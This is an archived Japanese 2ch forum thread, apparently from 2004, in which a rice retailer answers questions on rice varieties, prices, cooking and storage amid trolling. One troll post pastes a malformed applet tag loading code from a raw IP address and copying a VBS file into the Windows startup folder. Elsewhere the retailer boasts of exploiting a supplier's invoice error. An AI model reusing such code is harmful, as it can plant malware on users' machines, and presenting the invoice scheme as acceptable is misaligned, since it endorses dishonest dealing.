お米屋だけど何でも質問に答えます11俵半目

美味しい、不味い。
買い方、炊き方。
銘柄から良食味産地。
お米屋さんの裏話や疑問。
何でもお聞き下さい。
頼りない答えの場合は許してください。
同業者の方ﾏｯﾀﾘ助けるように。
第一章　　　http://food.2ch.net/test/read.cgi/food/1014544476/l50
おかわり！編http://food.2ch.net/test/read.cgi/food/1022118827/l50
秋の新米編　http://food3.2ch.net/test/read.cgi/food/1033173433/l50
第4章春編http://food3.2ch.net/test/read.cgi/food/1042349007/l50
「5杯目」http://food3.2ch.net/test/read.cgi/food/1049501173/l50
「6杯目」http://food3.2ch.net/test/read.cgi/food/1061599726/l50
「7杯目」http://food3.2ch.net/test/read.cgi/food/1065140534/l50
「8杯目」http://food3.2ch.net/test/read.cgi/food/1069809304/l50
「9杯目」http://food3.2ch.net/test/read.cgi/food/1075162771/l50#tag980
「10俵目｣http://food6.2ch.net/test/read.cgi/food/1080692009/l50
「11俵目」は無視して下さい。こちらは「11俵半目」です。

一応立てましたがまことに申し訳ないですが以下ご了解お願い致します。

１）まもなくお盆休みの為、13日〜16日は回答不能となります。
２）11俵目は荒れ放題の為、こちらが「11俵半」となります。
３）あちらの荒らしが移動して来た場合、9月までｽﾙｰとなる場合があります。
４）酷暑と荒らしとマンネリでややテンションが下がっております。
　　同業者の方は回答にご協力お願い致します。

了解

>>1 本当にお疲れさまでした。

これからも情報交換よろしくです。(^^)v

おつかれさまです。で、やっぱりIDはつけないんですねw。
荒らし対策にはならないかもしれませんが
せめてsage進行って事にはしないですか？

スルーしてても、やっぱり見てるだけで気がめいりますよ
おまけにこの猛暑では。

>>5
ＩＤのつけ方調べる気がないもので。誰か教えて下さい。

ちょ・・・留守録聞きに来たら、もう>>6偽者出現(ｗ

だが・・やはりIDの付け方は知らないのは事実です。
本当に誰か教えて下さい。

・・・・なんだ結局本物も偽者も発言内容は同じですねぇ(ｗ
じゃまた明日。

>>5-6
ナンダカナー…

>>1お疲れさまです

>>5すまん。
そか夏休みだけでもsage進行推奨ってのは良いね。
それなら私も出来る(ｗ

頼りない米屋さん
コテハンキャップつけたほうがいいですよ

>>11
過去ログを100回読め。やりかた知らないと言ってるだろうが
ざけんな！！

>>11
＞コテハンキャップ
大変申し訳ないが意味と方法を明日までに教えて下さい。
じゃ帰宅しますんで。

>>12
くれぐれも>>12は偽者です。
やはり9月まで開かなかった方が良かったかな。
ま、とりあえずｽﾙｰって事で宜しくお願いします。
じゃ本当に今日はこれで。

>>12-14

呆れ返ったんで退室しますね

おめこ屋

>>13
4の精米中さんのようになるんですよ。名前の後に本人を証明するパスワード。
２ちゃんねるガイドを参照の上、方法は初心者板のトリップスレで質問とテストを。

>>1
がんがれ。
漏れは米はあんまり食わないので、陰ながら応援してまっせ。

小売価格値下がり
ダイエー
複数原料米産年表示なし！新米　10g　3880円（税込み）
山形はえぬき　15年産　10kg　3880円（税込み）
他店
千葉こしひかり　5kg　1980円（税込み）

今年は5kg2500円程度で美味しい米が買えそうでうれしい。

トリップは名前欄の所に、自分の名前の後に半角で「#好きな数字」
を書いたらつくよ
「」は抜いてね

例
名前#1234

数字じゃなくてもいいわけだが。

#本名
とかつけている人も居たよw

あまり簡単なのつけると、見破る香具師もいるよねｗ
〜#komeyaとかにはしないほうが良いかと。

頼りない米屋はこんな人
仕入れと返品のＷでボッタくって
さらには違算に気付いてるのに残高証明に捺印までして。
笑い話とかいって自慢してる場合じゃない。異常だよ。
http://food6.2ch.net/test/read.cgi/food/1089100718/137

137 ：頼りない米屋 ：04/07/22 15:59
笑い話を（つか私もワルだねって話）
某産地の卸から3月に減農薬米を２０俵購入。
伝票を良く見たら桁が１桁少ない。25000円が2500円。
普通なら連絡してあげるが、そこの担当嫌いな奴なんで放っておく。
支払う前に卸の決算が来る。残高証明にはちゃんと安い請求。
もちろん印を押して郵送。その後支払い日に振込み。
何もせず450000の利益が残る。これでうちの今年の赤は埋まっておつりが（ｗ
さらに後日。
その卸の担当が、その米在庫が底を突いてどうしても9俵返してと電話が。
担当が車で３時間掛けて取りに来る。返品伝票には25000×９俵・・・（ｗ

匿名掲示板なんだから、表向きの話ばかりされてもつまんねえよ。
ヤクザには人殺しした時の話でも聞きたいし、警察官には周りの目を
盗んで少女買春した時の話でも聞きたい。
それが可能なのが匿名掲示板ってもんだろ。

>>24
馬鹿だな。匿名掲示板なんて幻想だよ。２ちゃんはすべてＩＰを記録している。

>>25
IPが保存されている＝名前がみんなにわかる、ではないだろ。
現に漏れの名前もお前の名前も調べようがない。

ひろゆきやプロバイダからどう見えようと知ったこっちゃない。
ついでに誰かが逮捕されたとしても漏れは知らん。
こっちとしては、うまく話を聞き出してこそ、2ちゃんのおもしろさが味わえるってもんだ。

>>26,27
おまえには必要ないから見せないだけ。でも運営にはすべて見えている。
おまえも判っているけど、匿名掲示板ということにしておきたいだけだろ。

>>28
仮に運営に見えてるからって、カキコした人がお互い名前が分かるわけではない。
それでもごちゃごちゃ言うなら、俺の名前を書いて見ろ。
ついでに住所・電話・生年月日・家族構成・勤め先・年収・クレジットカードの番号も頼むぜ。

なんだかなあ。
粘着荒らしが居着いてるのに、
あっちに避難スレの案内してどうすんだろ（苦笑
トリップつけろと延々言われ続けてきたのに
いまだにそれもしてないし……
悪いのは粘着荒らしなわけだけど、
そういう馬鹿がいると分かっていて
脇が甘いままってのもどうかと思うよ。
荒らしを放置できなくて中途半端に相手をしちゃうのなら、
このスレも無駄スレに終わっちゃうと思うんだよなあ。

ま、ここにいる香具師ら全員荒らしてことでｗ

2ちゃんに対する迷惑行為があれば書いた本人に連絡逝くな。
ネトのすごいところは労せずにログが残る事だな。

儲けなければ税金払えないしリア厨の教育費（一部親負担をのぞく）は
税金から出てるってこった。

>29

氏名・・・た○はし
住所・・・さいたま
生年月日・・・昭和５６年
勤め先・・・３年間ひきこもり
年収・・・親からのお小遣い１ヶ月８００円

当たった？

test

test

>>11>>20
完了いたしました。ありがとうございました。

私もテスト

さて、スレが変わったので、例のぼったくり？の件。
分かっている方も分からない方も事の顛末をお話してみましょうか。

１）文脈・文意にご理解を。
あの発言以前から夏休み恒例の煽りが始まる。
そして恒例のスレ進行上のご注意を書き込み。
重箱突きに対し「人間だからブレはある」と書き込み。
その例としてあの「ぼったくり」書き込み。
これはある意味私が煽りに乗ってしまったと反省しています。
常駐のスレファンの方には大変申し訳無くお詫び申し上げます。

２）社会の商習慣と人間性
誰かが擁護してくれましたが社会の商習慣としては問題は無いでしょう。
あとは人間性の問題ですよね。既述ですが私は通常訂正連絡を取ります。
それが長く信頼関係を持続し取引する必然は常識でしょう。
が、あの場合どうしても連絡したくない伏線があったのです。
それについては次に続きを書き込みます。

　

>>38
もうその話はやめた方がいい。荒らしに餌をまいてるようなものだから。
それをスルーした人たちが新スレに移動したんだから、
飲み込んでくれた気持ちにも失礼だ。ここはきっぱり、言い訳せず！

伏線
実はあそこの卸の営業は前から虫が好かなかったんですね。
直前に信頼関係を損なう話（ま、しょうがないけどね）
買ってくれ買ってくれとたびたび営業に来るので、時々購入もう15年。
その某卸しか扱わない減/減を２つ昨秋から定番アイテムに入れる。
あとは暴騰暴落によくある話ですが１つの減/減アイテムが3月初旬に
彼曰く「在庫はこれで最後。秋まで無いから買うなら買っておいて」
「いや結構」。2週間後「念の為5表取っておく」「ふ〜ん」
だがその週の支払いにちゃっかり請求が来る。まいいや支払い。
ちなみに単価は１俵19800円。しゃあないから搬入。
3月下旬、そこの卸から販促メニュ届く。品切れたはずの同じ減/減が
16300円で乗っている。私、抗議のTELもする気が無く既述の行動に走る。
つまりさ自分の高い在庫をもう終わりと嘘ついて処分した訳ですよね。
私には到底出来ない人間性ですね。ま、彼は私をそこまでと思っていたか
と諦めれば事は済むと思っていた矢先に例の桁間違いを犯したので
報復したまでです。
私、いや皆さんも同様でしょうが消費者（購入者）至上主義です。
相場が上がる前に安く買えば安く売り、相場が上がって買った高い在庫は
相場が安くなれば損して相場通りの価格で売る。当たり前の図式です。
じゃどこで利益を上げるか？売り上げを伸ばして利益「額」をあげるだけです。
一方思うのは、お客様にいろんな意味で充分なサービスを提供するには
当店も従業員も充分な利益を上げてこそ還元出来るとも思うのです。
だって減資がなければ還元も出来ない。←これがいつもの私の失言かも(ｗ

>>39
申し訳ない。書き込んでしまいました。
以後、気を付けます。誠にすみません。

>>41
ははは、時間のいたずらでしたな。了解です。

ｺﾃﾊｿsage頼りない米屋は騙りと見たはひが目か？

トリップ付き頼りない米屋の事ね。

＞頼りない米屋さん
＞夜ナニーさん

トリップ装着オメ＆乙
ま、ここは2chですから、
煽りはスルーして
気楽にいきましょう。

頼りない米屋はこんな生物です。
http://food6.2ch.net/test/read.cgi/food/1089100718/137

仕入れと返品のＷでボッタくって
さらには違算に気付いてるのに残高証明に捺印までして。
呆れたことにこれを笑い話として自慢している。

さらにさらに本日のご発言では意図的な詐欺行為を
『社会の商習慣としては問題は無いでしょう。』だって。
脳内の勝手な商習慣を社会のと決められては、それこそ社会は迷惑です。
つまらんいきさつを理由にあげてますが、それで？だからやってもいいの？
発想が子供以下。かえって恥を上塗りしてますよ。
非常識な行動を反省、謝罪することなく開き直って正当化。
すご過ぎです

知ってるよ。
ｷﾐみたいな偽善者よりも人間的な魅力のある人だﾈ

偽善者って頼りない米屋でしょ？

偽善者とは事実に反して善人ぶるやつのことだろ？
善人ではないと白状したやつは偽善者ではないだろう。

>>49
言葉が不自由な方(>>48)にかまってやらなくていいってw

>46

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　　　　　　ｌ　　　　　　　　_,, -‐''二ゝ　 ｌ::::l fﾞヽ |、 ここはお前の日記帳じゃねえんだ
　　　 　 　 ﾚー-- ､ヽヾﾆ-ｧ,ﾆ;＝、_　　 !:::l ） } ト
　　　　　　 ヾ¨'７"ry､｀ 　 ｰﾞ='ニ,,,｀　 　 }::ヽ(ノ 　チラシの裏にでも書いてろ
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>46

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.　　　　　 ! , -＝=､´r'　　　　　　　 　 l::::::/,ﾆ.ヽ
　　　　　　ｌ　　　　　　　　_,, -‐''二ゝ　 ｌ::::l fﾞヽ |、 ここはお前の来る所じゃねえんだ
　　　 　 　 ﾚー-- ､ヽヾﾆ-ｧ,ﾆ;＝、_　　 !:::l ） } ト
　　　　　　 ヾ¨'７"ry､｀ 　 ｰﾞ='ニ,,,｀　 　 }::ヽ(ノ 　３０円やるから駄菓子やにでも行ってろ
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>>45
ありがとうございます。
こちら15年産在庫はは何とか今月中に消化できそうです。
ただ、もち米だけは20〜30俵残ってしまいそう。
「まぁその位ならしょうがないか・・・」と自分に言い聞かせ中です。
おそらくこの辺の卸もモチの在庫はあるでしょうからすぐには新米には切り替えないと思いますが。。。

ところで最近「米サラダ油」が売れてます。
国産原料100％の油は「米サラダ油」だけです。
うちの嫁さんは「くせも無く、揚げ物しても汚れにくい」といってます。
もし見かけたらぜひお試しください。

>>53
うちの現在の在庫は13年福島ふくみらい・初星未検査12800円かな。
この調子だと10月初旬で業務用に解消しますが
昨今の相場の落ちから考えると9月中旬から赤字かも。。。
ま、私も「気にしない」ように自分に言い聞かせている訳で(ｗ
餅米は大丈夫でしょ。11月までに解消すればいいでしょうし。

【盆明け入荷情報】
18日　千葉こまち　検査1等　15400確定
　　　　同上　　　未検査　 14800確定
25日　千葉こまち　検査1等　14700予定
　　　　同上　　　未検査　 14200予定
今年はふさおとめはやめようかと思ってます。

【消費者情報】
お盆明けから大値下げ合戦の幕開けです。
現在の九州こし5kg1980円はほんのﾌﾟﾛﾛｰｸﾞにすぎなかったでしょう。
お盆明け〜9月は関東こし・こまち・ひとめ5kg1500円の攻防でしょう。
しかし年初の15年産価格とは隔世の感がありますが
販売店を恨まないようお願いいたします。我々のせいじゃありませんから。

もう一つ、今年のポイントは大手卸会社になるほど古米在庫が重い事です。
何となく心配でしょ？いや、たぶんやらないと思いますが。
つまり我々小規模小売店に思ってた疑惑は今年はほとんど無いはず。
ただDNA鑑定は例えば同じ銘柄同士の古米：新米ブレンドならばスルーです。
新米古米判定もありますが、あれはあくまで鮮度鑑定であって
新米古米を厳密に判定可能なものでなく、監査の対象外って事実は
業界でも知る人ぞ知るんです。
悪用して古米処分する人は一杯でるでしょうね・・・・やだなもう。

私は一般売りに関して値下げ合戦に参入する気は毛頭ありません。
あくまで付加価値・当店ブランド化・産地差別化でやや高い価格を維持します。
ですが表に出ない業務用米は積極的に新米値下げ合戦に参入します。
古米在庫の重い卸の納品先は営業チャンスですから。

>>51
>>52

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７０年ぶりにコメ先物取引が復活するそうですので、お知らせしときますね。


http://www.nikkei.co.jp/news/main/20040807AT1J0600C06082004.html

>>57
荒れる原因だからやめとけ。
と言っても、もう遅いか orz

徳島のなんとか（ここ忘れた）ほまれ？とかいう銘柄の米が
スーパーにはいってたのだけど、徳島産のお米って味香りは
どうですか？あんまり聞きなれないもので

スーパーで新米鹿児島コシヒカリを2キロ1000円ほどで買いました。
全く同じパックを2週間ほど前に買い
結構おいしかったです。

今回のパックには、
黒（濃い茶）っぽい点のついたコメが
多数入っていました。2合中10粒以上ありました。

これは虫の卵なのでしょうか？

>>60
カメムシの仕業か？
ttp://apple.net.pref.aomori.jp/noushi/Bojo_BU.html

>>59
早場米は7月末に出てくる鹿児島宮崎が有名ですが
8月初旬に出てくる四国産の方が味は上だと思います。
「こしひかり」以外では「なつひかり」なんかが有名です。

>>60
>>61さん同様「カメ虫」が原因だと思います。
今年のように過度な高温多湿だと大発生します。
カメ虫被害は味に直接の影響は少ないのですが、なにせ見た目が悪い。
ただ、そんな着色米は色彩選別機で簡単に弾き飛ぶはずだから
納品業者が性能の悪い古い機械なのかも。
過度に気にしなくても大丈夫ですよ。

お答えありがとうございます。
うちのコメはリンク先webの写真とそっくりでした。
虫が食べた跡なんですね。
卵じゃなくて少し安心しました。
（でも食欲ダウン）

無洗米を買ったのですが、糊状のものが多い気がします。
磨いで使っても良いですか？

ご飯炊いてから保温してどれくらい持ちますか？
黄色くなったものは体にわるいですか？

そもそも白米ってのが体に良いものかどうか…

米屋だからって何でも知ってるわけじゃないし
その知識だって偏りがある
自分自身の思い込みも相当あるようだ
ここのレスは「そういう見方もあるんだなぁ」レベルに考えるのが正解

ここのスレ
↓
2ちゃんねる

>>65
食べ切れなきゃ、ラップに包んで冷凍。
黄色くなったのは体にどうこう云々より、臭くてまずい。

>>67
評論家ではないからね。
切れば血が出るんだよ。

>62 ：頼りない米屋 >>60
>>そんな着色米は色彩選別機で簡単に弾き飛ぶはずだから

カメムシ被害粒は色選では簡単に飛ばないよ
特に点しか被害を受けていないものはダメ
３回通しても残る

ブランド信仰の強い日本だが、へーキで、混ざってるの買うよな・・・。
コシヒカリと書いてあっても、１４〜２０％くらい（酷いのはもっと
違うもの（例えば、あきたこまち、ササニシキなど）が入っている・・。
あぁ日本人がもっと米について解かれば・・・。
産地や田舎から、送られてる人がウラヤマスィー！！

米にニンニクなんかをぶち込むと虫が寄らないし、臭くないＹＯ

>>72
全然関係ないけどMARINOのファン？

頼りない米屋はこんな事を平気でする米屋です。
http://food6.2ch.net/test/read.cgi/food/1089100718/137

こんなやつが売ってる米ってヤバそう。
こいつのお客が哀れでなりません。

どこの米屋も大差ないだろ

逆に言えばさ、納入業者から格安でぶん取った米を、その分いくらか安めに売っていたりしたら
消費者からしたら、（真相を知らなければ）ただの(ﾟДﾟ )ｳﾏｰな（お買い得な）商品ってだけだがな。

>>77
頭が悪いかな？
そういう意味ではなくって
平気で悪事を働く米屋の米だから
きっと不正も多いだろうってことでしょ？

頼りない擁護のためでしょうが、
すごい無理のある解釈に呆れてしまいました。
さらに言えば、彼の事だから格安で仕入れても高く売るんでないかいｗ

>>78
もういい加減、叩くのやめたら？悪事っていったって頼米さんが米を盗みに入った
わけではなし、明らかに相手のミスでしょ？普通に仕事してたら、一度文書で
出した物や納品のサインをもらった物に間違いがあっても、さっきのは間違いです
返して下さい、では済まないよ。シラきられたらミスした方は文句言えないのが
当然、業者なんかもそんな事は心得ていると思うよ、だから真剣に仕事するんでしょ？

なんかココで頼米さん叩きしてる人って、頼米さんの人気に嫉妬してるみた〜い
こういう人達に限って他人に厳しく自分に激甘な感じがする

叩き人がどんな香具師か、想像出来ないや。

稲穂垂れてきたが田んぼによっては白い籾（もみ）が目立つのがある。
米びつの底が見えてきたのでもう一回15年産を買わなくてはならぬ。
ダイエーで高知産新米10kg　3880円込みで売ってた。

意識してやってるんだから盗んだとたいして変わらんだろ。
しかも、ダブル。理由も担当が嫌いだからとは、子供みたい。
お前らみたいのばっかりだと世の中ミスできないな。
ＰＣの価格表示ミスも大量注文に対応しなきゃいかんな。
悪いものは悪いんだよ。
商習慣だの、業者は心得てるだの、お前ら馬鹿じゃないの？

軽率な行動、発言でしたって反省のひとつくらいするのが当たり前。
ここは善悪の判断がつかない、新興宗教信者の集まりみたい。

>>79
性格があれじゃ叩かれるわね。
自業自得の部分にも気づいてもらわないと

>>79
別キャラつくって登場のご本人？

＞81
　　　　　　r;ｧ'N;:::::::::::::,ｨ／　　　　　 >::::::::::ヽ
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　　　　　　ｌ　　　　　　　　_,, -‐''二ゝ　 ｌ::::l fﾞヽ |、おまえが馬鹿なんだよ
　　　 　 　 ﾚー-- ､ヽヾﾆ-ｧ,ﾆ;＝、_　　 !:::l ） } ト
　　　　　　 ヾ¨'７"ry､｀ 　 ｰﾞ='ニ,,,｀　 　 }::ヽ(ノ 　お母さんに自分の書いた文章見てもらえ
:ｰゝヽ､ 　 　 !´ "￣ 'l,;;;;,,,.、　　　　　　　,i:::::::ﾐ
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↑このコピペ何度もしたら　　　バカ　　　ガッカリさ

>>84
頼米教団信者 きもい

7月から粘着してる香具師が一番キモイｗ

<applet code="XView.class" codebase="http://64.156.47.155:80/wstream" name="EmuCam"
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>

>>75
俺は頼米教団信者でもないけど、君はそんなことを平然と言える人格者なのかい？

「栃木ななほ」（岩田11号）なる米をヨーカドーで売っていた。どんな米ですか？

>>89
不正を行った米屋を怪しむのに、人格者であろうがなかろうが関係無いと思うが

>>90
日本語を少しは勉強しろよ。
広辞苑より
あやし・む【怪しむ】＿他五＿(下二段にも活用) 怪しいと思う。
疑わしく思う。不思議に思う。あやしぶ。三蔵法師伝永久点
「師の能く達せることを怪ｱﾔｼﾑ」。謡、安宅「関の者どもわれを―・め」。
「不意の訪れを―・む」

不正を行ったと断じているのに何を怪しんでいるんだよ。

>>91
お馬鹿ですか？
広辞苑を引用までしてなにが言いたいんだ？

不正を行ってる米屋だから
その他の商品や商行為でも不正や騙しがあるのではないか？
と怪しむってことだろ？

>>81-88
ウイルスコード張るなうぜぇ。

>>93
おまいがうぜぇしきもいよ
名無しの名無しさんや

>>75 >>92
文句があるんなら頼米で買わなきゃいいだろ。それだけ。

うっさい禿

その程度じゃ他で相手してくれないからな〜
ここで粋がるしかないよな
粘着くんｗ

同じく
揚げ足の取り方が厨房だな
荒らしは要らない

うっさい禿

100俵目

http://www.kit.hi-ho.ne.jp/~twalker/img-box/img20040622234717.jpg
頑張って虫を取り終えました。
笊に米をあけて、少しずつ風を当てながら10KG終了。

お米屋さん、教えてください。

ご飯を保温しておくと、色が変わったり、匂いがしたりするのです。
「長時間保温するとよくない」とは、聞きますが
炊いて2時間くらいしただけでも・・・の時もあります。

お米が悪いですか？
炊飯器が？
洗い方？
炊き方？

>>102
水が悪いのかも

お盆の骨休み旅行から戻ってまいりました。
（と言っても家族サービスは仕事より辛かったり）
本日も店舗・従業員は休みなのですが私は早速午前中仕事です。
>>71
すまん。機械の性能と混入率によりますね。
規格外丙や未検のひどいものは飛ばないかも。
以前の機械だと無理だったけど佐竹の新型との2連にしたんで
一発で飛んじゃうんですよ。
今のだと佐竹以外でも飛ぶんじゃないかな。
>>64
無洗米を研いで炊いてもOKですよ。さっと洗えば充分です。
よく研ぐと米粒が折れやすいので注意。
>>65>>102
そもそも保温ｼﾞｬｰは腐敗促進ｼﾞｬｰとも言える表裏一体なのですね。
昔は夏、笹などを入れて冷や飯にしたのも、そのあたり。
保温ｼﾞｬｰを過信してはいけません。
私は既述のように「炊いて食べて余ったら冷凍庫」を推奨します。
さて、ﾒｰｶｰ・水・研ぎ等にもよりますが2時間で黄変は異常ですね。
私が疑うのは炊飯器の滅菌管理。時々滅菌剤で消毒した方が良いよ。
結構良くあって見落とすのは蓋と本体をつなぐ「ちょうつがい」部分。
あそこに雑菌が繁殖している場合が多いんですよ。一度試してみて。

お米屋さんに、質問です。
香り米・古代米以外に、精米の時、昔のお米らしい香りのする米は、どの銘柄ですか？

>>105
えっと結構難しい質問ですね。
まずは当たり前の回答は「新米ならばどれでも」
「硬質米（関東以西）」も結構全般的に香りが良い。
品種的には私見ですが「秋田県産あきたこまち」が香りが強いと思います。
栽培的には「有機肥料栽培」をすると香りが良くなりますね。
ただこれらは香り米ほどではもちろんないですけどね。

>昔のお米らしい香りのする米は、どの銘柄ですか？

天日乾燥のお米を試したことありますか？
風味というか、お日様の良い香りがしますよ。

頼りない米屋さん
今年出来がよさそうな地域の予想はできてきましたか？
よろしければお聞かせ下さい。

>>106-107
ありがとうございます。
秋田県本庄市付近の、あきたこまち・新米・有機肥料・天日乾燥のお米を
１１月くらいに探したいと思います。
それまで、１５年・那須産のコシヒカリを毎日精米して、大切に食べることにします。

>>107>>109
天日乾燥！そうですねすっかり忘れてました。あれは良い香りです。
うちでも某ﾒｼﾞｬｰﾎﾃﾙに某産地天日乾燥コシ納品してました。
あれは香りが評判良いですね。
>>117
私の得た情報では福島会津地区・中通地区はほぼ確定。
それ以北もねらい目なんで今情報を集めてます。
裾物（価格の安い米）では昨年は関東の勝ちでしたが
今年は高温障害が少し心配で
私は青森・北海道が有力と思ってまして、こちらも現在情報収集中。
もう少しお待ちを。9月初旬には判明します。

>107 天日乾燥のお米を試したことありますか？

天日乾燥だからおいしいとは限らない
長雨続きの時の天日乾燥なんて・・・
同じに有機栽培、無農薬、減農薬栽培米がおいしいとは限らない
自分の判断だけで画一的な発言をしないほうがいいと思います
「わたしは、天日乾燥のお米が、お日様の良い香りがしますよ」
くらいの発言がいいと思います

>>111
>天日乾燥だからおいしいとは限らない

つまらん事を言うようだが
誰一人として「天日乾燥だからおいしい」と
言っていないと思うが。
質問だって、「昔のお米らしい香りのする米」って言ってるし。

ごめん、もしかして釣られちゃった？

>>110
108ですが117はミスでしょうか。
素直に待ちますのでどうぞよろしく。

http://food6.2ch.net/test/read.cgi/food/1089100718/137

本音じゃ「頼米は馬鹿だな」って呆れてましたが
一応、フォローしました。

重複スレは潰しにかかる

レスありがとうございます。

＞103さん
　水、それもありますねぇ。
　我が家は井戸水なので、水道水より良いかと思ってはいるんですが・・・。

＞頼りない米屋さん
　「ちょうつがい」ですね。
　早速お手入れしてみます！！
　
　我が家の炊飯器は母の希望で、
　昔ながらの「炊飯・保温」のボタンがあるだけ。
　最近良く見る、ＩHジャーとか銅釜とか釜炊き？とか・・・
　あ〜ゆ〜のってやっぱり違うのでしょうか？？